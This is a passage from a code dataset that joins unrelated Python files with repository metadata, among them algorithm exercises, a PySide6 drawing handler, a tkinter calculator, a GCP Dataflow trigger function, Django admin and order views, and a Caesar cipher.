MH is the kth largest element.\nTime Complexity: O(log(k) + (n-k)*log(k)) without sorted output. If sorted output is needed then O(log(k) + (n-k)*log(k) + k*log(k))\n\n\"\"\"\n\nclass Solution:\n def kLargest(self,li,n,k):\n maxHeap = []\n\n for i in range(k):\n maxHeap.append(li[i])\n \n for i in range(k,n):\n maxHeap.sort(reverse = True)\n if (li[i] < maxHeap[k-1]):\n continue\n \n else:\n maxHeap.pop(k-1)\n maxHeap.append(li[i])\n \n # maxHeap.sort(reverse=True)\n return maxHeap\n\nfor t in range(int(input())):\n li = [int(x) for x in input().strip().split()]\n n, k = li[0], li[1]\n li = [int(x) for x in input().strip().split()]\n ob = Solution()\n kLL = ob.kLargest(li, n, k)\n\n for element in kLL:\n print(element, end=' ')\n\n print('')","repo_name":"saini1998/TopCodingQuestionsGeeksforGeeks","sub_path":"KLargestElements.py","file_name":"KLargestElements.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"4354580248","text":"import typing\n\nif typing.TYPE_CHECKING:\n from sline import SLINE\nfrom object.point import PointF\nfrom object.rect import RectF\nfrom object.mode import Mode\nfrom event.draw_point_event import DrawPointEvent\nfrom event.draw_line_event import DrawLineEvent\nfrom value.value import *\nfrom value.strings import *\n\nfrom PySide6.QtGui import QMouseEvent, QCursor\nfrom PySide6.QtCore import Qt\n\ndef mouse_move(self: 'SLINE', eve: QMouseEvent) -> None:\n # delete all assist graphics\n self.clear_assist()\n\n pos = eve.pos()\n spos = self.gv_graphics.mapToScene(pos)\n point = PointF(spos.x(), spos.y())\n self.indicate_mouse_pos(point)\n\n if Mode.eq(self.mode, Mode.Emp):\n if self._rect_select:\n rect = RectF(self._rect_select_start_pos, point)\n # draw assist_rect\n rect_item = self.draw_assist_rect(rect)\n self.assist_graphics_item.append(rect_item)\n\n # selected event\n for draw_event in self.undo_stack.all():\n if isinstance(draw_event, DrawPointEvent):\n # in rect\n if rect.poly_in_rect(draw_event.point):\n if not self.selected_events.exist(draw_event):\n draw_event.item.change_color(selected_color)\n self.selected_events.append(draw_event)\n else:\n if self.selected_events.exist(draw_event):\n draw_event.item.change_color(default_color)\n self.selected_events.remove(draw_event)\n elif isinstance(draw_event, DrawLineEvent):\n if rect.poly_in_rect(draw_event.line):\n if not self.selected_events.exist(draw_event):\n draw_event.item.change_color(selected_color)\n self.selected_events.append(draw_event)\n else:\n if self.selected_events.exist(draw_event):\n draw_event.item.change_color(default_color)\n self.selected_events.remove(draw_event)\n elif self._tran:\n delta = self.gv_graphics.mapToScene(self._tran_start_pos.to_QPoint()) - self.gv_graphics.mapToScene(pos)\n self.gv_graphics.horizontalScrollBar().setValue(self.gv_graphics.horizontalScrollBar().value() + delta.x() / VIEW_TRANSLATE_FACTORS)\n self.gv_graphics.verticalScrollBar().setValue(self.gv_graphics.verticalScrollBar().value() + delta.y() / VIEW_TRANSLATE_FACTORS)\n # self._tran_start_pos = point\n return\n \n # Current Point Reminder\n if self.graphics_points.near_a_point(point):\n self.setCursor(QCursor(Qt.CursorShape.PointingHandCursor))\n else:\n self.setCursor(QCursor(Qt.CursorShape.ArrowCursor))\n\n # Point Mode\n if Mode.eq(self.mode, Mode.Point):\n self.process_assist_point(point)\n \n # Line Mode\n elif Mode.eq(self.mode, Mode.Line):\n self.process_assist_line(point)\n\n\n\n","repo_name":"SingSongZepe/sliner","sub_path":"sline_functions/mouse_move.py","file_name":"mouse_move.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"38838801295","text":"import torch\nimport time\n\nfrom get_noise_indices_gpu import get_noise_indices_gpu\nimport config\n\n\ndef ssdm_gpu(teacher_output, student_output, noisy_labels, CELoss, FocalLoss):\n t_0 = time.time()\n with torch.no_grad():\n model_output_two_probs = torch.cat((torch.sigmoid(teacher_output), 1 - torch.sigmoid(teacher_output)), dim=1) # (6, 2, 512, 512); logits for labels 1 and 0\n\n # reshape the noisy_label and teacher_predicted_prob_map into (n,) and (n, 2), n = 6 * 512 * 512 = 1,572,864\n predictions_swapped = torch.swapaxes(torch.swapaxes(model_output_two_probs, 1, 2), 2, 3) # (6, 512, 512, 2)\n predicted_2d = predictions_swapped.reshape(-1, 2) # (n, 2)\n predicted_2d[:, 0], predicted_2d[:, 1] = predicted_2d[:, 1], predicted_2d[:, 0].copy()\n\n noisy_labels_1d = noisy_labels.reshape(-1).type(torch.int8) # (n,)\n\n assert noisy_labels_1d.shape[0] == predicted_2d.shape[0]\n\n labels_to_change = get_noise_indices_gpu(s=noisy_labels_1d, psx=predicted_2d, prune_method=config.ssdm_prune_method)\n labels_to_change = labels_to_change.reshape(-1, 1, 512, 512).type(torch.int8) # reshape to (6, 1, 512, 512) -> original shape\n\n tau = config.ssdm_smoothing_tau # smoothing argument HYPERPARAMETER\n\n # from paper, formular (3)\n updated_labels = noisy_labels + labels_to_change * torch.pow(-1, noisy_labels) * tau\n updated_labels = torch.from_numpy(updated_labels)\n\n # \"the CL loss loss_cl is composed of cross-entropy loss and focal loss with equal weights\"\n ce_loss = CELoss(torch.squeeze(torch.sigmoid(student_output)), torch.squeeze(updated_labels)) / updated_labels.shape[0]\n focal_loss = FocalLoss(student_output, updated_labels)\n\n cl_loss = ce_loss + focal_loss\n\n t_1 = time.time()\n\n return cl_loss, labels_to_change.sum(), t_1 - t_0\n\n","repo_name":"msywill/SemisupervisedLearning","sub_path":"noisy_meanteacher/ssdm_gpu.py","file_name":"ssdm_gpu.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"23433970145","text":"#! /usr/bin/env python3\n#use to rename file, pre and post check\n\nimport os\n\nos.chdir(r'C:\\Users\\Documents\\Target folder')\n\nfor f in os.listdir(): # look for all files in this directory\n with open(f) as hostname: # open each files\n for line in hostname: \n if \"show version\" in line: # read files for specific string\n ff_hostname, ff_show = line.split('#') # split the output to two\n## print(ff_hostname)\n \n f_ip, f_ext = f.split(' ') #split the original file to two\n ##print(f_ext)\n new_name = '{}{}'.format(ff_hostname,f_ext) # formats with a goal filename\n os.rename(f,new_name) # rename the file\n","repo_name":"saintric/studies","sub_path":"scripts/Python/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"33791295976","text":"import os, sys, shutil, stat\n\n\n###########################################################################\ndef on_rm_error(*args):\n '''\n In case the file or directory is read-only and we need to delete it\n this function will help to remove 'read-only' attribute\n :param args: (func, path, exc_info) yuple\n '''\n # path contains the path of the file that couldn't be removed\n # let's just assume that it's read-only and unlink it.\n _, path, _ = args\n os.chmod(path, stat.S_IWRITE)\n os.unlink(path)\n\n\ndef main(argv):\n try:\n if os.path.isdir('build-cmake'):\n shutil.rmtree('build-cmake', onerror=on_rm_error)\n os.mkdir('build-cmake')\n os.chdir('build-cmake')\n return os.system('cmake ..')\n except Exception as e:\n print('Exception: {0}'.format(e))\n # return non-zero if here\n return 1\n\n###################################\nif __name__ == \"__main__\":\n sys.exit(main(sys.argv))\n","repo_name":"yuchdev/lokilib","sub_path":"create_cmake.py","file_name":"create_cmake.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"31598550624","text":"from tkinter import *\n\n# İstifadə olunacaq dəyişənlər\nstring = \"\"\nfnt = (\"Times new roman\", 18, \"bold\")\nfnt2 = (\"Times new roman\", 18, \"italic\")\nbgColor = '#D8D8D8'\n\n# İstifadə olunacaq funksiyalar\ndef press(num):\n global string\n string += str(num)\n process.set(string)\n\n#Errorlar daha detallı yazıla bilər\ndef equal_press():\n try:\n global string\n total = str(eval(string))\n process.set(total)\n except:\n process.set(\" error \")\n string = \"\"\n\n\ndef clear():\n global string\n string = \"\"\n process.set(\"\")\n\n\nif __name__ == \"__main__\":\n# Tkinter pəncərəsi\n root = Tk()\n# Pəncərənin ölçüləri və başlıq\n root.title(\"Calculator\")\n root.geometry(\"391x340\")\n root.resizable(width=False, height=False)\n root.iconbitmap(\"calc.ico\")\n# Proqramın input hissəsi\n process = StringVar()\n textArea = Entry(root, font=(\"Arial\", 15, \"italic\"), textvariable=process, width=27, bg=\"#F0F0F0\")\n textArea.grid(row=0, column=0, columnspan=4, ipadx=3)\n process.set(\"Əməliyyatı daxil edin\")\n# Buttonlar\n btn1 = Button(root, text=' 7 ', font=fnt, fg='black', bg=bgColor, command=lambda: press(7), height=1, width=5)\n btn1.grid(row=1, column=0)\n\n btn2 = Button(root, text=' 8 ', font=fnt, fg='black', bg=bgColor, command=lambda: press(8), height=1, width=5)\n btn2.grid(row=1, column=1)\n\n btn3 = Button(root, text=' 9 ', font=fnt, fg='black', bg=bgColor, command=lambda: press(9), height=1, width=5)\n btn3.grid(row=1, column=2)\n\n btn4 = Button(root, text=' 4 ', font=fnt, fg='black', bg=bgColor, command=lambda: press(4), height=1, width=5)\n btn4.grid(row=2, column=0)\n\n btn5 = Button(root, text=' 5 ', font=fnt, fg='black', bg=bgColor, command=lambda: press(5), height=1, width=5)\n btn5.grid(row=2, column=1)\n\n btn6 = Button(root, text=' 6 ', font=fnt, fg='black', bg=bgColor, command=lambda: press(6), height=1, width=5)\n btn6.grid(row=2, column=2)\n\n btn7 = Button(root, text=' 1 ', font=fnt, fg='black', bg=bgColor, command=lambda: press(1), height=1, width=5)\n btn7.grid(row=3, column=0)\n\n btn8 = Button(root, text=' 2 ', font=fnt, fg='black', bg=bgColor, command=lambda: press(2), height=1, width=5)\n btn8.grid(row=3, column=1)\n\n btn9 = Button(root, text=' 3 ', font=fnt, fg='black', bg=bgColor, command=lambda: press(3), height=1, width=5)\n btn9.grid(row=3, column=2)\n\n btn0 = Button(root, text=' 0 ', font=fnt, fg='black', bg=bgColor, command=lambda: press(0), height=1, width=5)\n btn0.grid(row=4, column=1, columnspan=1)\n\n btnPlus = Button(root, text=' + ', font=fnt2, fg='black', bg=bgColor, command=lambda: press(\"+\"), height=1, width=5)\n btnPlus.grid(row=3, column=3)\n\n btnMinus = Button(root, text=' - ', font=fnt2, fg='black', bg=bgColor, command=lambda: press(\"-\"), height=1,\n width=5)\n btnMinus.grid(row=2, column=3)\n\n btnMultiply = Button(root, text=' * ', font=fnt2, fg='black', bg=bgColor, command=lambda: press(\"*\"), height=1,\n width=5)\n btnMultiply.grid(row=1, column=3)\n\n btnDivide = Button(root, text=' / ', font=fnt2, fg='black', bg=bgColor, command=lambda: press(\"/\"), height=1,\n width=5, padx=6)\n btnDivide.grid(row=4, column=0)\n\n btnEqual = Button(root, text=' = ', font=fnt2, fg='black', bg=bgColor, command=equal_press, height=1, width=5)\n btnEqual.grid(row=4, column=3)\n\n btnClear = Button(root, text='Ekranı təmizlə', font=fnt2, fg='black', bg=bgColor, command=clear, height=1, width=23,\n padx=7)\n btnClear.grid(row=5, column=0, columnspan=4)\n\n btnDecimal = Button(root, text='.', font=fnt2, fg='black', bg=bgColor, command=lambda: press('.'), height=1,\n width=5, padx=6)\n btnDecimal.grid(row=4, column=2)\n\n root.mainloop()\n","repo_name":"Allahverdiyev-Rashad/Calculator-tkinter-project","sub_path":"calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"22920847267","text":"# This file is provided as an example only and is not sutible for use in a production environment\n# This script should be used as a GCP Cloud Function and triggered when a data file is uploaded to a GCS\n# buicket. The associated GCS bucket should contian at least two subdirectories, one for the Dataflow\n# job source files (defined as the JOBSOURCEDIR variable) and one for the temporary processing files\n# (defined as the TEMPDIR variable).\n\n# Import the needed Python modules\nfrom googleapiclient.discovery import build\nimport json\n# The oauth2client is not currently included in the base Cloud Function python image. Include this module in your requirements.txt file\nfrom oauth2client.client import GoogleCredentials\n\n\n# Define a function that will be called by the Cloud Function\ndef CreateDataflowJob(event, context):\n # Define \"file\" as the event trigger data from the GCS file upload\n file = event\n # Print the name of the uploaded file that triggered the Cloud Function. The Output will be sent to Stackdriver by default\n print(f\"Processing file: {file['name']}.\")\n\n # Uncomment the following two lines to print the full json payload provided by the triggered event. Useful for testing purposes only\n #rawdata = json.dumps(file)\n #print(rawdata)\n\n # Properly format the name of the uploaded file, removing any quotation marks left by the json output\n rawname = json.dumps(file['name'])\n filename = rawname.strip('\"')\n\n # Verify the file uploaded is a valid data file (in this case using the .csv extension).\n # If the file is valid, proceed with execution. If not, exit the script.\n if filename.endswith('.csv'):\n\n # ---- Define Variables used to create the Dataflow job ----\n\n\n # The name of your GCP Project.\n PROJECT = ''\n # The name of the GCS bucket where the files have been uploaded to\n BUCKET = ''\n # The destination tabled in BigQuery. The format is GCP_Project_ID:dataset:table\n BQ_OUTPUT_TABLE = ''\n # The folder containing the SCHEMA_FILE and RUN_FILE files (assumes the folder resides in the same GCS bucket)\n JOBSOURCEDIR = 'source'\n # The folder to store temporary Dataflow job files (assumes the folder resides in the same GCS bucket)\n TEMPDIR = 'temp'\n\n\n # Authenticate to other Google services using the associated Cloud Function service account\n credentials = GoogleCredentials.get_application_default()\n # Define the \"service\" variable to create a new Dataflow job\n service = build('dataflow', 'v1b3', credentials=credentials)\n \t# Define the 'JOBNAME' variable as the name of the uploaded file.\n JOBNAME = 'run-'+filename.lower()\n # Define the Dataflow template to use. More templates can be found at https://cloud.google.com/dataflow/docs/guides/templates/provided-templates\n TEMPLATE = 'GCS_Text_to_BigQuery'\n # The full path to the Dataflow template\n GCSPATH = 'gs://dataflow-templates/latest/{template}'.format(template=TEMPLATE)\n # The file used to define the Schema mapping between the data file and the BigQuery table\n SCHEMA_FILE = 'schema.json'\n # The file used to define the execution variables of your Dataflow job\n RUN_FILE = 'run.js'\n # The GCP zone to create the Dataflow job in\n ZONE = 'us-central1-f'\n\n\n # Parameters passed to the RESTful API's to create the Dataflow job using the preceeding variables\n BODY = {\n \"jobName\": \"{jobname}\".format(jobname=JOBNAME),\n \"parameters\": {\n \"javascriptTextTransformFunctionName\": \"transform\",\n \"JSONPath\": \"gs://\"+BUCKET+\"/\"+JOBSOURCEDIR+\"/\"+SCHEMA_FILE,\n \"javascriptTextTransformGcsPath\": \"gs://\"+BUCKET+\"/\"+JOBSOURCEDIR+\"/\"+RUN_FILE,\n \"inputFilePattern\":\"gs://\"+BUCKET+\"/\"+filename,\n \"outputTable\":BQ_OUTPUT_TABLE,\n \"bigQueryLoadingTemporaryDirectory\": \"gs://\"+BUCKET+\"/\"+TEMPDIR\n },\n \"environment\": {\n \"zone\": ZONE\n }\n }\n\n # Define the request and submit to the Dataflow RESTful API\n request = service.projects().templates().launch(projectId=PROJECT, gcsPath=GCSPATH, body=BODY)\n response = request.execute()\n\n # Catoure the response from the Dataflow API and log to Stackdriver\n print(response)\n\n # Exit the script if the uploaded file is not a valid data file\n else:\n print(filename+' is not a csv file. Exiting')\n exit()\n","repo_name":"gremlin961/pipeline","sub_path":"gcs-bq.py","file_name":"gcs-bq.py","file_ext":"py","file_size_in_byte":4670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"75059224672","text":"import random\nfrom django.shortcuts import render\nfrom .models import OrderItem, Order\nfrom .forms import OrderCreateForm\nfrom cart.cart import Cart\n\nfrom main.models import Product\n\n\ndef order_create(request):\n products = Product.objects.all()\n popular_product = random.sample(list(products), 6)\n cart = Cart(request)\n if request.method == 'POST':\n form = OrderCreateForm(request.POST)\n if form.is_valid():\n order = form.save(commit=False)\n order.user = request.user\n order.save()\n for item in cart:\n OrderItem.objects.create(order=order,\n product=item['product'],\n price=item['price'],\n quantity=item['quantity'],\n total_price_product=item['price'] * item['quantity'] / 100,\n )\n cart.clear()\n\n return render(request, 'orders/created.html',\n {'order': order, 'popular': popular_product})\n else:\n form = OrderCreateForm\n return render(request, 'orders/create.html',\n {'cart': cart, 'form': form, 'popular': popular_product})\n\n\ndef my_orders(request):\n orders = Order.objects.filter(user=request.user).order_by('-id')\n products = Product.objects.all()\n popular_product = random.sample(list(products), 6)\n return render(request, 'orders/my_orders.html', {'orders': orders, 'popular': popular_product})\n\n\ndef my_orders_items(request, id):\n products = Product.objects.all()\n popular_product = random.sample(list(products), 6)\n order = Order.objects.get(pk=id)\n order_items = OrderItem.objects.filter(order=order)\n return render(request, 'orders/my_orders_items.html', {'order_items': order_items,\n 'order': order,\n 'popular': popular_product\n })\n","repo_name":"Borey13/shop_nuts","sub_path":"shop/orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"10332943842","text":"from django.contrib import admin\nfrom django.utils.safestring import mark_safe\nfrom django.urls import reverse\n\nfrom .models import Kingdom, Province, Military, Race\nfrom .models import Infrastructure, InfrastructureItem, Building\nfrom .models import Effect, Instance\nfrom .models import Spell\n\n# Register your models here.\n\n# Game Entities\nadmin.site.register(Kingdom)\nadmin.site.register(Military)\nadmin.site.register(Race)\nadmin.site.register(Infrastructure)\nadmin.site.register(Spell)\n\n\nclass InfrastructureInline(admin.StackedInline):\n model = Infrastructure\n\n show_change_link = True\n can_delete = False\n\n readonly_fields = ('explored','built',)\n verbose_name_plural = \"Infrastructure\"\n\n fieldsets = (\n (None, {\n 'fields': (\n 'land',\n )\n }),\n ('Details', {\n 'fields': (\n 'built',\n 'explored',\n )\n }),\n )\n\n\nclass MilitaryInline(admin.StackedInline):\n model = Military\n\n show_change_link = True\n can_delete = False\n\n verbose_name_plural = \"Military\"\n\n\n@admin.register(Building)\nclass Building(admin.ModelAdmin):\n list_display = (\n 'name',\n 'description',\n 'effect_instances',\n )\n\n\n@admin.register(Effect)\nclass Effect(admin.ModelAdmin):\n list_display = (\n 'tag',\n 'name',\n )\n\n\n@admin.register(Instance)\nclass EffectInstance(admin.ModelAdmin):\n def get_model_perms(self, request):\n \"\"\"\n Return empty perms dict thus hiding the model from admin index.\n \"\"\"\n return {}\n\n\n@admin.register(Province)\nclass Province(admin.ModelAdmin):\n list_display = (\n 'name',\n 'ruler',\n 'kingdom',\n )\n\n readonly_fields = ('owner','trade_balance',)\n\n fieldsets = (\n (None, {\n 'fields': (\n 'name',\n 'ruler',\n 'peasants',\n 'money',\n 'land',\n 'food',\n 'trade_balance',\n )\n }),\n ('Resources', {\n 'fields': ('mages', 'runes', 'warhorses', 'prisoners',)\n }),\n ('Meta', {\n 'fields': ('race', 'kingdom', 'owner', )\n }),\n )\n\n inlines = [\n InfrastructureInline, MilitaryInline\n ]\n","repo_name":"lucidmotifs/newtopia","sub_path":"newtopia/ntgame/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"2554706706","text":"from .entities.Producto import Producto\n\nclass ModelProducto():\n\n @classmethod\n def create_producto(cls, db, produc):\n try:\n cursor = db.connection.cursor()\n sql = \"\"\"INSERT INTO producto (id_producto, id_usuario, p_nombreproducto, p_categoria, p_descripcion, p_precio, p_imagenpoducto )\n VALUES (%s, %s, %s, %s,%s, %s, %s)\"\"\"\n cursor.execute(sql,(produc.id_producto, produc.id_usuario,produc.p_nombreproducto, produc.p_categoria, produc.p_descripcion, produc.p_precio, produc.p_imagenpoducto))\n db.connection.commit()\n return True\n except Exception as ex:\n db.connection.rollback()\n raise Exception(ex)\n\n #mejorar\n @classmethod\n def get(self, db, prod):\n try:\n cursor = db.connection.cursor()\n sql = \"\"\"select a.*,b.* from usuario a INNER JOIN producto b on a.id_usuario = b.id_usuario; = '{}' \"\"\".format(\n prod.a_username)\n cursor.execute(sql)\n row = cursor.fetchone()\n\n except Exception as ex:\n raise Exception(ex)\n","repo_name":"Roloper/Pagina-web-con-Flask","sub_path":"models/ModelProducto.py","file_name":"ModelProducto.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"17395377439","text":"# not work. My laptop amd and radeon. Sorry, CUDA not work's\n\nimport random\nimport universe\nimport gym\n\nenv = gym.make('flashgames.NeonRace-v0')\nenv.configure(remotes=1)\nobservation_n = env.reset()\n\nleft = [('KeyEvent', 'ArrowUp', True), ('KeyEvent', 'ArrowLeft', True),\n ('KeyEvent', 'ArrowRight', False)]\nright = [('KeyEvent', 'ArrowUp', True), ('KeyEvent', 'ArrowLeft', False),\n ('KeyEvent', 'ArrowRight', True)]\nforward = [('KeyEvent', 'ArrowUp', True), ('KeyEvent', 'ArrowLeft', False),\n ('KeyEvent', 'ArrowRight', False), ('KeyEvent', 'n', True)]\n\nturn = 0\nrewards = []\nbuffer_size = 100\naction = forward\n\nwhile True:\n turn -= 1\n if turn <= 0:\n action = forward\n turn = 0\n action_n = [action for ob in observation_n]\n observation_n, reward_n, done_n, info_n = env.step(action_n)\n rewards += [reward_n[0]]\n if len(rewards) >= buffer_size:\n mean = sum(rewards)/len(rewards)\n\n if mean == 0:\n turn = 20\n if random.random() < 0.5:\n action = right\n else:\n action = left\n rewards = []\n env.render()","repo_name":"pavel-malin/open_ai_gym_-_universe_tensorflow","sub_path":"flashgame_neonrace.py","file_name":"flashgame_neonrace.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"21088596885","text":"# Dunder methods (magic metods)\n\n# print(3+5)\n# print(int.__add__(3,5))\n# print(\"Ali\"+\"Polatel\")\n# print(str.__add__(\"ali\",\"Polatel\"))\n# print([1,2,3]+[4,5,6])\n# print(list.__add__([1,2,3],[4,5,6]))\n\nclass Mylist(list):\n def __add__(self, other):# magic metotları kendi isteğimize göre düzenleyebiliriz\n listem_Add=list()\n if len(self)!=len(other):\n print(\"toplama yapilamaz\")\n else:\n for i in range(len(self)):\n listem_Add.append(self[i]+other[i])\n print(listem_Add)\n def __sub__(self, other):\n listem_Sub = list()\n if len(self) != len(other):\n print(\"Cikarma yapilamaz\")\n else:\n for i in range(len(self)):\n listem_Sub.append(self[i] - other[i])\n print(listem_Sub)\n\n\n\n\nliste1=Mylist([1,2,3])\nliste2=Mylist([2,5,7])\n\nprint(liste1+liste2) #magic metodlar fonksiyon ismi ile çağrıya gerek kalmaz\nprint(liste1-liste2)\n","repo_name":"dogukan1047/Python_Quick_Again","sub_path":"OOP_2/Dunder_Methods/Main_dunder_methods.py","file_name":"Main_dunder_methods.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"9347231002","text":"import cv2\nimport os\nimport argparse\n\nif __name__ == '__main__': \n parser = argparse.ArgumentParser(prog='Image Encode')\n parser.add_argument('-f', '--filepath', required=True,help='Filepath')\n parser.add_argument('-s', '--size', required=True,type=int, help='Method Type')\n args = parser.parse_args()\n\n filename = os.path.basename(args.filepath)\n img = cv2.imread(args.filepath, cv2.IMREAD_UNCHANGED)\n dim = (args.size, args.size)\n # resize image\n resized = cv2.resize(img, dim, interpolation = cv2.INTER_AREA)\n \n outpath = \"Resized\"\n os.makedirs(outpath, exist_ok=True)\n outfile = os.path.join(outpath,f\"{filename}-{args.size}x{args.size}.png\")\n print(\"+ Success: \", outfile)\n cv2.imwrite(outfile, resized)\n","repo_name":"bbuyukyuksel/steganografi-ASCII-LSB","sub_path":"image_resizer.py","file_name":"image_resizer.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"2566927196","text":"# Jan Faryad\n#\n# conversion of sentences fron an onf file to plain text\n\nimport sys\n\nfrom udapi.block.demo.Coreference.Conv.conv import Conv_text_converter\n\nclass Onto_text_converter( Conv_text_converter):\n def convert_file( self, input_file, output_file):\n converted = \"\"\n active = False # if we are reading the plain text of a sentence sentence\n # the record of a plain sentence has the following form:\n \n # Plain sentence:\n # ---------------\n # Mahmoud Mahmoud Al Belehi, the owner of a house close to the fire, confirms that the house was cracked when a charge of\n # bottles entered the house and a fire started in it, cracking the ceiling and walls.\n \n for line in input_file:\n if ( \"Plain sentence\" in line ): # new sentence\n active = True\n elif ( line == '\\n' and active ): # end of the sentence\n active = False\n converted += '\\n' # we need one sentence per line \n elif ( line != \"---------------\\n\" and active ): # reading the text\n converted += line[4:-1] + ' ' # starting from the fifth column, it may continue on the next line, so we add a space insted of newline and don't deactivate reading sentence\n output_file.write( converted)\n \nif ( len( sys.argv) == 3 ):\n Onto_text_converter( sys.argv[1], sys.argv[2])\n","repo_name":"Jankus1994/Coreference","sub_path":"OntoNotes/onto_text_converter.py","file_name":"onto_text_converter.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"18509543249","text":"from typing import List\n\nfrom fastapi import FastAPI\nfrom fastapi.staticfiles import StaticFiles\n\nfrom typing import List\nfrom fastapi.responses import FileResponse\nimport uvicorn\n\nfrom ssearch.core.models import Results, SearchResult\nfrom ssearch.core.search import search_es, search_vector, search_hybrid\nimport time\n\nfrom fastapi.middleware.cors import CORSMiddleware\n\norigins = [\n \"http://localhost.tiangolo.com\",\n \"https://localhost.tiangolo.com\",\n \"http://localhost\",\n \"http://localhost:8001\",\n \"http://localhost:4200\"\n]\n\napp = FastAPI()\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n# Serve static files from the 'static' directory\napp.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\n\n\n@app.get(\"/\")\ndef root_endpoint():\n return FileResponse(\"static/search.html\")\n\n\n@app.get(\"/search\", response_model=Results)\ndef search(text: str, top_k: int = 10, search_type: str = \"text\"):\n start = time.time()\n results = search_hybrid(text, top_k)\n duration = time.time() - start\n return Results(results=results, time=duration)\n\n\n@app.post(\"/search\", response_model=Results)\ndef searchp(text: str, top_k: int = 10, search_type: str = \"text\"):\n start = time.time()\n results = search_hybrid(text, top_k)\n duration = time.time() - start\n return Results(results=results, time=duration)\n\n\n@app.get(\"/search_vector\", response_model=List[SearchResult])\ndef search_vector(text: str, top_k: int = 10):\n results = search_vector(text, top_k)\n return results\n\n\n@app.get(\"/search_es\", response_model=List[SearchResult])\ndef search_elasticsearch(text: str, top_k: int = 10):\n results = search_es(text, top_k)\n return results\n\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=8001)\n","repo_name":"SaeedAnas/Generative-AI","sub_path":"ssearch/services/endpoint/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"25646756076","text":"import string\n\ndef salatka(text, shift, alphabets):\n \n def shift_alphabet(alphabet):\n return alphabet[shift:] + alphabet[:shift]\n \n shifted_alphabets = map(shift_alphabet, alphabets)\n final_alphabet = ''.join(alphabets)\n final_shifted_alphabet = ''.join(shifted_alphabets)\n table = str.maketrans(final_alphabet, final_shifted_alphabet)\n return text.translate(table)\n \nplain_text = \"fbkcncl rnku JKJK\"\nprint(salatka(plain_text, -2, [string.ascii_lowercase, string.ascii_uppercase]))","repo_name":"Nikolasksk/TITPM_30524","sub_path":"TITPM 1 NŚ/nadaltanialeladniejszyszyfr.py","file_name":"nadaltanialeladniejszyszyfr.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"1694840052","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Feb 17 11:52:57 2021\r\n\r\n@author: decla\r\n\"\"\"\r\n\r\nfrom openpyxl import Workbook, load_workbook\r\nimport pandas as pd\r\nfrom collector import frame_assessment\r\n\r\n#First, load all the input sheets\r\nthreshold=0.55\r\nfile=\"Baseline Diagnostic School Ranker Import.xlsx\"\r\ninput_wb=load_workbook(file)\r\nto_report=[]\r\ntemp={'mappings':[], 'results':[]}\r\nfor sheet in input_wb.sheetnames:\r\n\tif 'mapping' in sheet.lower():\r\n\t\ttemp['mappings'].append(sheet)\r\n\telif 'results' in sheet.lower():\r\n\t\ttemp['results'].append(sheet)\r\n\r\nfor a,mapping in enumerate(temp['mappings']):\r\n\tto_report.append(frame_assessment(file, mapping, temp['results'][a], threshold))\r\n\r\n#Create a pd dataframe for a generic level (eg. school). level is dictionary at the with keys of each instance of that level.\r\ndef create_frame(level, first):\r\n\ttopics=[]\r\n\tsubtopics=[]\r\n\tindex=[]\r\n\tdata=[]\r\n\theadings=False\r\n\tif first!='':\r\n\t\tname=list(level.keys())[0]\r\n\t\tindex.append(first)\t\r\n\t\tdata.append([None for topic in list(level[name]['topics'].keys()) for subtopic in list(level[name]['topics'][topic]['subtopics'].keys())])\r\n\tfor name in level:\r\n\t\ttemp=[]\r\n\t\tif headings==False:\r\n\t\t\tfor topic in list(level[name]['topics'].keys()):\r\n\t\t\t\ttopics.append(topic)\r\n\t\t\t\tfor subtopic in list(level[name]['topics'][topic]['subtopics'].keys()):\r\n\t\t\t\t\tsubtopics.append(subtopic)\r\n\t\t\theadings=True\r\n\t\tfor topic in list(level[name]['topics'].keys()):\r\n\t\t\tfor subtopic in 